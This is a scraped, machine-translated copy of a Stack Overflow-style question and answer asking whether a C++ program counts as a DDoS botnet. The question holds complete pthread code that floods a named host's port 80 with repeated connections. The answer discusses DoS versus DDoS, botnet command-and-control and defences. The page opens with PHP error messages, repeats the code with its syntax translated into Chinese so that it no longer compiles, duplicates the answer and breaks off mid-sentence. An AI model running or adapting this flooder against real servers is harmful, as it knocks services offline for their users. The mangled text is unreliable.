Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/cplusplus/151.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/sockets/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C++ 我们可以说这是简单的DDOS僵尸网络吗?_C++_Sockets_Pthreads_Ddos_Botnet - Fatal编程技术网

C++ 我们可以说这是简单的DDOS僵尸网络吗?

C++ 我们可以说这是简单的DDOS僵尸网络吗?,c++,sockets,pthreads,ddos,botnet,C++,Sockets,Pthreads,Ddos,Botnet,这是一个基于posix套接字和线程的客户端程序。该程序创建多个线程并将锁定服务器。我们可以说这是简单的DDOS僵尸网络吗?。C/C++和posix平台的代码。 这是密码 #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #in

这是一个基于posix套接字和线程的客户端程序。该程序创建多个线程并将锁定服务器。我们可以说这是简单的DDOS僵尸网络吗?。C/C++和posix平台的代码。 这是密码

#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

int get_hostname_by_ip(char* h , char* ip)
{
        struct hostent *he;
        struct in_addr **addr_list;
        int i;

        if ((he = gethostbyname(h)) == NULL) 
        {
                perror("gethostbyname");
                return 1;
        }
        addr_list = (struct in_addr **) he->h_addr_list;
        for(i = 0; addr_list[i] != NULL; i++) 
        {
                strcpy(ip , inet_ntoa(*addr_list[i]) );
                return 0;
        }

        return 1;
}

void client(char* h)
{
    int fd;
        char* ip = new char[20];
        int port = 80;
    struct sockaddr_in addr;
    char ch[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        while(1)
        {
                fd = socket(AF_INET, SOCK_STREAM, 0);
                addr.sin_family=AF_INET;
                get_hostname_by_ip(h, ip);
                addr.sin_addr.s_addr=inet_addr(ip);
                addr.sin_port=htons(port);
                if(connect(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) 
                {
                        perror("error: can't connect to server\n");
                        return;
                }
                if(send(fd, ch, sizeof(ch), 0) < 0)
                {       
                        perror("error: can't send\n");
                }
                close(fd);
        }
}

struct info
{
        char* h;
        int c;
};


void* thread_entry_point(void* i)
{
        info* in = (info*)i;
        client(in->h);
}

int main(int argc, char** argv)
{
        int s = atoi(argv[2]);
        pthread_t t[s];
        info in = {argv[1], s};
        for(int i = 0; i < s; ++i)
        {
                pthread_create(&t[i], NULL, thread_entry_point, (void*)&in);
        }
        pthread_join(t[0], NULL);

    return 0;
}
#包括
#包括
#包括
#包括
#包括
#包括
#包括
#包括
#包括
#包括
int通过ip获取主机名(char*h,char*ip)
{
结构宿主*he;
地址**地址列表中的结构;
int i;
if((he=gethostbyname(h))==NULL)
{
perror(“gethostbyname”);
返回1;
}
地址列表=(地址中的结构**)he->h\U地址列表;
对于(i=0;地址列表[i]!=NULL;i++)
{
strcpy(ip、inet_ntoa(*地址列表[i]);
返回0;
}
返回1;
}
无效客户端(字符*h)
{
int-fd;
char*ip=新字符[20];
int端口=80;
地址中的结构sockaddr\u;
字符ch[]=“aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
而(1)
{
fd=套接字(AF_INET,SOCK_STREAM,0);
地址sinu family=AF\u INET;
通过ip(h,ip)获取主机名;
地址sin\u addr.s\u addr=inet\u addr(ip);
地址sin_端口=htons(端口);
if(connect(fd,(struct sockaddr*)&addr,sizeof(addr))<0)
{
perror(“错误:无法连接到服务器\n”);
返回;
}
if(发送(fd,ch,sizeof(ch),0)<0)
{       
perror(“错误:无法发送\n”);
}
关闭(fd);
}
}
结构信息
{
char*h;
INTC;
};
无效*螺纹\入口\点(无效*i)
{
info*in=(info*)i;
客户端(in->h);
}
int main(int argc,字符**argv)
{
ints=atoi(argv[2]);
pthread_t t[s];
info in={argv[1],s};
对于(int i=0;i
否:“DDoS”中的第一个“D”代表“分布式”。一台机器上的一个进程构成简单的DoS(从这台机器的角度来看,它可以通过Unix的
limit
等机制来控制。从受害者的角度来看,仅仅在防火墙级别排除有问题的IP通常就够了——见下文)

对于DDoS,您需要某种形式的命令和控制,允许计算机a上的进程在那里休眠,尽可能少的中断以避免检测,然后从机器B接收攻击机器C的命令。正是A的多个实例路由到C的破坏性流量构成/导致对C的实际拒绝服务

您的代码很可能是DDoS bot的部分,CC部分接收
info
的实例。它也是一个很好的学习工具,但对于真正的“黑帽子”目的来说,它并不是真正有用的

这将是更多的主题

资源比率 在您的示例中,我们的比率为1:1,即,您打开一个套接字,受害者必须分配一个套接字。这具有简单性的优点(只需要普通的套接字编程)。另一方面,这是一场消耗战——在耗尽自己的资源之前,你必须确保耗尽受害者的实际资源。否则,您需要招募更多的机器人来升级攻击

然而,事实证明,一旦受害者提取了攻击的指纹(这并不困难),它就可以使用几种策略来阻止攻击,并将比率转化为优势。一个这样的例子是。通过阻止敌对关系,受害者可以让整个网络的攻击者集体屈服(还有其他一些策略允许伪造初始连接,因此使用普通方法的攻击者必须浪费一个套接字和结构,而防御者除了设置之外什么都不做。虽然资源比不会无限大,但对防御者来说确实是一个优势)。

否:“DDoS”中的第一个“D”代表“分布式”。一台机器上的一个进程构成简单的DoS(从这台机器的角度来看,它可以包含Unix的
限制
。从受害者的角度来看,仅仅在防火墙级别排除有问题的IP就足够了——见下文)

对于DDoS,您需要某种形式的命令和控制,允许机器a上的进程在那里处于休眠状态,尽可能少的中断以避免检测,然后从机器B接收攻击机器C的命令。正是a的许多实例路由到C的破坏性流量构成/导致ac针对C

您的代码很可能是DDoS bot的部分,CC部分接收
info
的实例。这也是一个很好的学习工具,但对于真正的“黑帽子”目的来说,它并不是很有用

这将是更多的主题

资源比率 在您的示例中,我们的比率为1:1,即,您打开一个套接字,受害者必须分配一个套接字。这具有简单性的优点(需要普通套接字编程).另一方面,这是一场消耗战-在耗尽自己的资源之前,你必须确保耗尽受害者的实际资源。否则,你需要招募更多的机器人来升级攻击

然而,事实证明,一旦受害者对攻击进行了指纹识别(这并不困难),它就可以采用几种策略来阻止攻击,并将比率转化为优势。例如,通过对敌对连接进行标记,受害者可以将整个攻击者网络带到他们的集体网络中